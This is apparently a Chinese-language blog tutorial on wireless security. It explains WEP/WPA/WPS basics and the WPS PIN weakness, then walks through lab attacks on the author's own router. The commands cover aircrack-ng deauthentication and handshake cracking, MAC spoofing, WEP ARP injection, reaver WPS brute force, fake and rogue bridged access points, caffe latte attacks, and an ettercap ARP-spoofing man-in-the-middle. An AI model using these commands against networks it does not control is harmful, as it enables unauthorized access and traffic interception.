无线安全初探
0x01 无线基础
基本概念
SSID:又称ESSID是一个无线AP的名称。
BSSID:无线AP的MAC地址,用于数据链路程数据帧传输
信道(频道):无线网络信号在空气中以电磁波传播,他的频率是2.4~2.4835GHz,而这些频段又被化分为11或13个信道(802.11b/g网络标准,普通路由都是这个标准)
通常情况下,默认的信道是“6”,这在单一的无线网络环境中可以正常使用,但如果处于多个无线网络的覆盖范围内,无线路由器都使用默认的信道“6”,肯定会产生冲突的,影响无线网络的性能。
虽然在802.11b/g网络标准中,无线网络的信道虽然可以有13个,但非重叠的信道,也就是不互相干扰的信道只有1、6、11(或13)这三个。
加密方式
WPA-PSK/WPA2-PSK
WPA-PSK/WPA2-PSK安全类型其实是WPA/WPA2的一种简化版本,它是基于共享密钥的WPA模式,安全性很高,设置也比较简单,适合普通家庭用户和小型企业使用。
WPA/WPA2
WPA/WPA2是一种比WEP强大的加密算法,选择这种安全类型,路由器将采用Radius服务器进行身份认证并得到密钥的WPA或WPA2安全模式。由于要架设一台专用的认证服务器,代价比较昂贵且维护也很复杂,所以不推荐普通用户使用此安全类型。
WEP
WEP是Wired Equivalent Privacy的缩写,它是一种基本的加密方法,其安全性不如另外两种安全类型高。选择WEP安全类型,路由器将使用802.11基本的WEP安全模式。 这里需要注意的是因为802.11N不支持此加密方式,如果您选择此加密方式,路由器可能会工作在较低的传输速率上。
加密方法
QSS
QSS又称快速安全设置,通过按下无线路由和无线网卡上的QSS按钮,即可自动建立WPA2级别的安全连接,无需在路由器或网卡管理软件的界面上进行繁琐的设置,大大简化无线安全设置的操作。
WPS
WPS(Wi-Fi Protected Setup,WiFi保护设置),它是由WiFi联盟组织实施的可选认证项目,它主要致力于简化无线网络设置及无线网络加密等工作。一般情况下,用户在新建一个无线网络时,为了保证无线网络的安全,都会对无线网络名称(SSID)和无线加密方式进行设置,即“隐藏SSID”和设置“无线网络连接密码”
WPS PIN码
WPS PIN码的第8位数是一个校验和(checksum),因此黑客只需算出前7位数即可。这样,唯一的PIN码的数量降了一个级次变成了10的7次方,也就是说有1000万种变化。
在 实施PIN的身份识别时,接入点(无线路由器)实际上是要找出这个PIN的前半部分(前4位)和后半部分(后3位)是否正确即可。当第一次PIN认证连接 失败后,路由器会向客户端发回一个EAP-NACK信息,而通过该回应,攻击者将能够确定的PIN前半部或后半部是否正确。换句话说,黑客只需从7位数的 PIN中找出一个4位数的PIN和一个3位数的PIN。这样一来,级次又被降低,从1000万种变化,减少到11000(10的4次方+10的3次方)种 变化。因此,在实际破解尝试中,黑客最多只需试验11000次,平均只需试验大约5500次就能破解。这也证实了在2小时内破解PIN码的可行性。
0x02 渗透思路
WEP加密方式,通过漏洞破解(少见)
开启wps功能的,通过pin码破解
Wpa/wpa2加密,通过抓取握手包,暴力穷举密码破解
0x03 实战演练
网卡:TP-Link TL-WN722N
路由器: D-Link dir-615
0、基本命令
iwconfig //查看网卡信息、进行配置
iwconfig wlan0mon channel 5 //切换网卡信道
iwconfig wlan0 essid "" key 12345678 //连接无线
iwconfig并不能连接wpa网络,我们需要借助工具 WPA_supplicant
首先配置文件 wpa-supp.conf
# WPA-PSK/TKIP
network={
ssid="dirua"
key_mgmt=WPA-PSK
proto=WPA
painwise=TKIP
group=TKIP
psk="12345678"
}
然后执行
wpa_supplicant -D wext -i wlan0 –c wpa-supp.conf
1、破解WPA-PSK
连接网卡后Kill掉网卡进程
airmon-ng check kill
然后开启网卡
airmon-ng start wlan0
这时你的网卡名称变为wlan0mon,也有可能不变
进行wifi嗅探,获取到BSSID和ESSID
airodump-ng wlan0mon
选择一个有数据(data列有数据)传输的wifi进行抓包
airodump-ng -c 1 --bssid 20:6B:E7:42:36:C0 -w /wlan/cap/xxx wlan0mon
这里-c是指定信道 -w是你保存抓到的包的目录
下面就是连接此网络的设备,如果没有设备连接我们就没法抓包
然后重新开一个终端进行洪水攻击,获取握手包
aireplay-ng -0 0 -a 20:6B:E7:42:36:C0 wlan0mon
待右上角出现WPA handshake 说明我们已经抓包成功,保存在我们之前指定的目录下
然后跑包进行爆破密码
aircrack-ng -w /wlan/password/pass.txt /wlan/cap/xxx-01.cap
之后只需耐心等待,能不能破解就看你的字典够不够强大了
或者可以利用字典生成器例如chrunch,根据无线特征已知信息生成一些字典
2、隐藏SSID
开启隐藏SSID功能后,无线的名称就被隐藏了
但是我们仍可以利用airodump-ng可以获取到无线信息,只是名称变成了长度
3、MAC地址过滤
airodump-ng -c 2 -a --bssid 00:21:91:D2:8E:25 wlan0
抓包发现连接设备的mac地址
然后修改本机mac地址
ifconfig wlan0mon down
macchanger -m 11:22:32:33:ee:hh wlan0mon
ifconfig wlan0mon up
即可绕过
4、跑包破解WEP
这里我kill掉网卡进程,利用airmon-ng开启网卡监测,发现无法发现连接的设备/抓不到握手包,于是我直接airodump-ng wlan0
airodump-ng wlan0
airodump-ng -c 1 --bssid 20:6B:E7:42:36:C0 -w /wlan/cap/wep wlan0
arp注入攻击
aireplay-ng -3 -b "AP Mac地址" -h "wifi Mac地址" -x 1000 wlan0
这里需要多跑一会,提高ivs值,多抓点包不然不容易破解
破解密码
aircrack-ng -x -f 2 /wlan/cap/wep-*.cap
5、共享式WEP破解
这里是想抓keystream然后伪装成一个共享秘钥认证
aireplay-ng -1 0 -e dirua -y keystream-01-00-21-91-D2-8E-25.xor -a 00:21:91:D2:8E:25 -h aa:aa:aa:aa:aa:aa mon0. aireplay-ng
可以伪装mac地址直接进行连接
但是由于我抓不到keystream,显示broken ska于是没有成功
后面抓取到了keystream进行连接,结果只认证成功了一半,还是没有成功连接
6、破解开启WPS的无线
扫描开启WPS的无线
wash -i wlan0 -C //或者不加-C
开始跑pin码,容易触发路由器安全机制,需要跑个几天
reaver -i wlan0mon -b C8:3A:35:30:3E:C8 -vv
如果出错可以加个 -N
7、创建假的接入点
创建一个假的无线
airbase-ng -a AA:AA:AA:AA:AA:AA --essid "dirua" -c 7 wlan0mon
当然我们也可以伪造成一样的MAC地址
8、caffe latte攻击
我们可以利用用户接入我们的假接入点,获取wep秘钥进行破解
首先让客户端连入正常的wep无线
开启假接入点
airbase-ng --essid dirua -c 7 -a 6C:19:8F:BD:28:55 -L -W 1 wlan0mon
这里mac地址最好不要和真的一样,因为如果一样之后也会被airbase发送封包导致无法连接
然后我们向客户端发送解除验证封包
aireplay-ng -0 0 -a 6C:19:8F:BD:28:56 --ignore-negative-one wlan0mon
如果我们的信号更好,用户设备就会连入我们的网络,airbase就会开始进行caffe latte攻击
开启airodump收集数据包
airodump-ng --bssid 6C:19:8F:BD:28:56 -w /wlan/cap/keystream wlan0mon
获取到数据包,就可以像之前一样aircrack破解wep
将airbase的 -L
参数换为 -N
即可进行Hirte攻击,它其实是caffe latte 的扩展,攻击流程与上相同
9、未授权接入点
我们可以利用创建接入点+桥接创造一个后门,绕过无线的安全控制,直接未授权访问
首先我们需要安装一个桥接工具 bridge-utils
apt-get install bridge-utils
brctl addbr Wifi-Bridge //创建桥接接口命名为Wifi-Bridge
airbase-ng --essid "rouge" -c 11 wlan0
brctl addif Wifi-Bridge eth0
brctl addif Wifi-Bridge at0 //将以太网和airbase-ng创建的at0虚拟接口添加到桥接中
ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up //启动接口进行桥接
echo 1 > /proc/sys/net/ipv4/ip_forward //开启内核中的ip转发确保封包被转发
10、中间人攻击
MITM 攻击可能是 WLAN 系统上最有潜力的攻击之一了。实施攻击可以使用不同的配置,我
们会使用最普遍的一个 – 攻击者使用有线 LAN 连接到互联网,并在客户端的网卡上创建了假
的接入点。这个接入点广播的 SSID 和附近的本地热点相似。用户可能碰巧连接到这个假的接
入点(或者由于更高的信号强度理论强制连接,我们之前讨论过) ,并且可能仍旧相信它连
接到正常的接入点上。
攻击者现在可以将所有用户流量转发到互联网上,使用它所创建的有线和无线之间的网桥。
在下面的练习中,我们会模拟这个攻击。
使用ettercap进行arp欺骗
这里把我的物理机作为被攻击机,连接无线
kali中,连接无线网
开启ettercap
ettercap -G
sniff -> unified sniffing -> wlan0
选择网卡host -> scan for hosts
扫描主机host -> host list
显示主机
右键将被攻击机(物理机) add to target 1
将网关(路由器)add to target 2
mitm -> arp poisoning
开始arp欺骗
查看一下被攻击机的arp
0.103 是我的kali,也就是说被攻击主机误认为192.168.1.103是它的网关。
我们在kali中开启wireshark抓取wlan0的包
发现0.103的流量都已经被抓取了
这里使用ettercap arp欺骗后,被攻击机将无法上网,因为ettercap自带ip转发功能,为了不会出现两次转发,默认禁用系统的ip转发功能。
我在虚拟机的网段中进行试验,使用eth0可以转发成功,而连接无线使用wlan0后,无法成功转发。。
11、企业级wpa 部署蜜罐
需要利用RADIUS服务器
RADIUS安装/配置
https://www.samba.org/ftp/talloc/talloc-2.17.tar.gz
ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-3.0.18.tar.gz
分别安装talloc和freeradius
两者都是解压后进入文件夹
./configure //安装radius时可能会报openssl的错 可以使用./configure --with-openssl=no
make && make install
我这路由器硬件版本太低。。不支持wpa-enterprise,下次有机会再利用
12、攻击路由器
http://routerpwn.com/
这个网站有各种路由器各个版本的漏洞,可以直接在网站利用